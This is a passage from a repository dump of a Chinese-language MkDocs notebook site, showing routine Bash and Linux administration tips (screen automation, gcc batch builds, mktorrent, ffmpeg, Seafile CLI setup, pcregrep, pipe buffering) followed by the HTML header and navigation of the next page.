</span>-v<span class=\"w\"> </span>docker|grep<span class=\"w\"> </span>-v<span class=\"w\"> </span>perl|sort<span class=\"w\"> </span>-k4<span class=\"w\"> </span>-h|tail<span class=\"w\"> </span>-n<span class=\"w\"> </span>1);<span class=\"w\"> </span>\n<span class=\"w\">    </span>((<span class=\"w\"> </span>$(<span class=\"w\"> </span>echo<span class=\"w\"> </span>&quot;`echo<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">LINE</span><span class=\"cp\">}</span>|awk<span class=\"w\"> </span>&#39;{print<span class=\"w\"> </span>$4}&#39;`<span class=\"w\"> </span>&gt;<span class=\"w\"> </span>5&quot;<span class=\"w\"> </span>|bc<span class=\"w\"> </span>-l)<span class=\"w\"> </span>))<span class=\"w\"> </span><span class=\"err\">&amp;&amp;</span><span class=\"w\"> </span>\\\n<span class=\"w\">        </span>(echo<span class=\"w\"> </span><span class=\"nv\">$LINE</span>;<span class=\"w\"> </span>\n<span class=\"w\">        </span>kill<span class=\"w\"> </span>`echo<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">LINE</span><span class=\"cp\">}</span>|awk<span class=\"w\"> </span>&#39;{print<span class=\"w\"> </span>$2}&#39;`);<span class=\"w\"> </span>\n<span class=\"w\">    </span>sleep<span class=\"w\"> </span>5;<span class=\"w\"> </span>\ndone\n</code></pre></div>\n\n<hr />\n<h2 id=\"screen\">screen自动操作以及获取当前屏幕内容<a class=\"headerlink\" href=\"#screen\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>screen -dmS name /bin/bash\nscreen -S name -p 0 -X stuff &quot;ls&quot;`echo -ne &#39;\\r&#39;`\nscreen -S name -p 0 -X hardcopy /tmp/test.txt\n</code></pre></div>\n\n<p>中文字符会有问题，待解决</p>\n<hr />\n<h2 id=\"c\">编译当前文件夹所有.c文件<a class=\"headerlink\" href=\"#c\" title=\"Permanent link\">&para;</a></h2>\n<p><code>${i%.*}</code> 去掉文件名的最后一个后缀</p>\n<div class=\"codehilite\"><pre><span></span><code>for<span class=\"w\"> </span>i<span class=\"w\"> </span>in<span class=\"w\"> </span>*.c;<span class=\"w\"> </span>do<span class=\"w\"> </span>gcc<span class=\"w\"> </span><span class=\"nv\">$i</span><span class=\"w\"> </span>-o<span class=\"w\"> </span>out/<span class=\"cp\">${</span><span class=\"n\">i</span><span class=\"o\">%.*</span><span class=\"cp\">}</span>;<span class=\"w\"> </span>done\n</code></pre></div>\n\n<hr />\n<h2 id=\"gdb\">gdb自动化<a class=\"headerlink\" href=\"#gdb\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>echo -e &quot;set pagination off\\nset confirm off&quot; &gt; ~/.gdbinit\n</code></pre></div>\n\n<p>然后使用<code>gdb ./a.out -ex \"r inputfile\" -ex \"bt\" -ex \"quit\"</code></p>\n<hr />\n<h2 id=\"mktorrenttorrent\">mktorrent制作种子torrent文件<a class=\"headerlink\" href=\"#mktorrenttorrent\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： https://community.seedboxes.cc/articles/how-to-create-a-torrent-via-the-command-line</p>\n<div class=\"codehilite\"><pre><span></span><code>sudo apt install mktorrent\nmktorrent -v -a &quot;http://tracker.nexushd.org/announce.php&quot; -p folder -o folder.torrent -l 24\n</code></pre></div>\n\n<p>其中<code>-l 24</code>的意思是每个分块为2**24=16MB，这是建议的最大的值</p>\n<hr />\n<h2 id=\"m3u8mp4\">钉钉直播回放下载 m3u8转mp4<a class=\"headerlink\" href=\"#m3u8mp4\" title=\"Permanent link\">&para;</a></h2>\n<p>手机端用抓包软件 如HttpCanary，点开直播回放后会得到一个m3u8的地址，然后使用ffmpeg下载即可</p>\n<p>参考：https://www.bilibili.com/video/av99036702/</p>\n<p>https://gist.github.com/tzmartin/fb1f4a8e95ef5fb79596bd4719671b5d</p>\n<div class=\"codehilite\"><pre><span></span><code>ffmpeg -i http://dtliving-pre.alicdn.com/... -bsf:a aac_adtstoasc -vcodec copy -c copy name.mp4\n</code></pre></div>\n\n<hr />\n<h2 id=\"ls\">黑色背景ls 目录深绿色看不清改个颜色<a class=\"headerlink\" href=\"#ls\" title=\"Permanent link\">&para;</a></h2>\n<p>Ubuntu系统编辑<code>~/.dircolors</code>: (其他系统<code>~/.dir_colors</code>)</p>\n<div class=\"codehilite\"><pre><span></span><code>DIR 01;36 \n</code></pre></div>\n\n<p>或者执行：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">eval</span><span class=\"w\"> </span><span class=\"err\">`</span><span class=\"nt\">dircolors</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"nt\">sed</span><span class=\"w\"> </span><span class=\"nt\">-e</span><span class=\"w\"> </span><span class=\"s1\">&#39;s/;34:/;36:/&#39;</span><span class=\"err\">`</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"seafile\">部署seafile客户端<a class=\"headerlink\" href=\"#seafile\" title=\"Permanent link\">&para;</a></h2>\n<p>https://download.seafile.com/published/seafile-user-manual/syncing_client/install_linux_client.md</p>\n<p>需要注意seafile-cli已经加入boinc官方源，但版本与ppa源不匹配</p>\n<div class=\"codehilite\"><pre><span></span><code># apt install -y software-properties-common\nadd-apt-repository -y ppa:seafile/seafile-client\napt update\napt install seafile-cli -y\nmkdir ~/seafile\nseaf-cli init -d ~/seafile\nseaf-cli start\n# 重启后也需要自己手动启动\n</code></pre></div>\n\n<p>在网页端创建/打开资料库后从url复制得到id</p>\n<p>客户端没有需要同步的文件时用download，有需要加入同步的数据用sync</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">seaf</span><span class=\"o\">-</span><span class=\"n\">cli</span><span class=\"w\"> </span><span class=\"n\">download</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">l</span><span class=\"w\"> </span><span class=\"s2\">&quot;the id of the library&quot;</span>\n<span class=\"w\">     </span><span class=\"o\">-</span><span class=\"n\">s</span><span class=\"w\"> </span><span class=\"s2\">&quot;the url + port of server&quot;</span><span class=\"w\"> </span>\n<span class=\"w\">     </span><span class=\"o\">-</span><span class=\"n\">d</span><span class=\"w\"> </span><span class=\"s2\">&quot;the folder which the library will be synced with&quot;</span><span class=\"w\"> </span>\n<span class=\"w\">     </span><span class=\"o\">-</span><span class=\"n\">u</span><span class=\"w\"> </span><span class=\"s2\">&quot;username on server&quot;</span><span class=\"w\"> </span>\n<span class=\"w\">     </span><span class=\"p\">[</span><span class=\"o\">-</span><span class=\"n\">p</span><span class=\"w\"> </span><span class=\"s2\">&quot;password&quot;</span><span class=\"p\">]</span>\n</code></pre></div>\n\n<p>登录用户名密码错误的时候报错是400，需要留意</p>\n<hr />\n<h2 id=\"pcregrep\">pcregrep正则提取<a class=\"headerlink\" href=\"#pcregrep\" title=\"Permanent link\">&para;</a></h2>\n<p>例如我们要提取some.htm中所有href属性中的html，使用普通的grep不能只提取单独的group。这里我们用pcregrep可以指定<code>-o</code>参数，还可以多次指定连续输出</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"p\">#</span><span class=\"w\"> </span><span class=\"n\">apt</span><span class=\"w\"> </span><span class=\"n\">install</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">y</span><span class=\"w\"> </span><span class=\"n\">pcregrep</span>\n<span class=\"n\">pcregrep</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">o1</span><span class=\"w\"> </span><span class=\"p\">&#39;</span><span class=\"n\">href</span><span class=\"o\">=</span><span class=\"s\">&quot;([^\\.]*\\.htm)&quot;</span><span class=\"p\">&#39;</span><span class=\"w\"> </span><span class=\"n\">some</span><span class=\"p\">.</span><span class=\"n\">htm</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"_15\">管道关闭缓冲<a class=\"headerlink\" href=\"#_15\" title=\"Permanent link\">&para;</a></h2>\n<p>参考：https://harttle.land/2020/06/06/tail-f-pipe.html</p>\n<p>grep 添加 <code>--line-buffered</code>，sed 添加 <code>-u</code>，awk 调 <code>fflush()</code>。</p>\n<p>Shell 里可以通过 [ -t 1 ] 来判断 stdout（文件描述符 1） 是否是 TTY。 <a href=\"https://rosettacode.org/wiki/Check_output_device_is_a_terminal\">More</a></p>\n<p>例子：</p>\n<div class=\"codehilite\"><pre><span></span><code>tail<span class=\"w\"> </span>-f<span class=\"w\"> </span>log.txt<span class=\"w\"> </span>|<span class=\"w\"> </span>grep<span class=\"w\"> </span>--line-buffered<span class=\"w\"> </span>Error<span class=\"w\"> </span>|<span class=\"w\"> </span>sed<span class=\"w\"> </span>-u<span class=\"w\"> </span>&#39;s/harttle//&#39;<span class=\"w\"> </span>|<span class=\"w\"> </span>awk<span class=\"w\"> </span>&#39;<span class=\"cp\">${</span><span class=\"nb\">print</span> <span class=\"err\">$</span><span class=\"mi\">1</span><span class=\"p\">;</span> <span class=\"n\">fflush</span><span class=\"p\">()</span><span class=\"cp\">}</span>&#39;<span class=\"w\"> </span>|<span class=\"w\"> </span>grep<span class=\"w\"> </span>ENOENT\n</code></pre></div>\n\n<hr />\n<h2 id=\"_16\">等待特定进程结束<a class=\"headerlink\" href=\"#_16\" title=\"Permanent link\">&para;</a></h2>\n<p>例如并行启动编译进程，希望等待所有gcc结束：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">while</span><span class=\"w\"> </span><span class=\"cp\">[</span><span class=\"w\"> </span><span class=\"s2\">&quot;`pgrep -c gcc`&quot;</span><span class=\"w\"> </span><span class=\"na\">-gt</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"w\"> </span><span class=\"cp\">]</span><span class=\"o\">;</span><span class=\"w\"> </span><span class=\"nt\">do</span><span class=\"w\"> </span>\n<span class=\"w\">    </span><span class=\"nt\">echo</span><span class=\"w\"> </span><span class=\"nt\">cnt</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"err\">`</span><span class=\"nt\">pgrep</span><span class=\"w\"> </span><span class=\"nt\">-c</span><span class=\"w\"> </span><span class=\"nt\">gcc</span><span class=\"err\">`</span>\n<span class=\"w\">    </span><span class=\"nt\">sleep</span><span class=\"w\"> </span><span class=\"nt\">10</span><span class=\"o\">;</span><span class=\"w\"> </span>\n<span class=\"nt\">done</span>\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Linux-setup/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Linux-backup/\">\n      \n      \n        <link rel=\"next\" href=\"../Linux-SSH/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Linux-setup - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#linux\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Linux-setup\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n 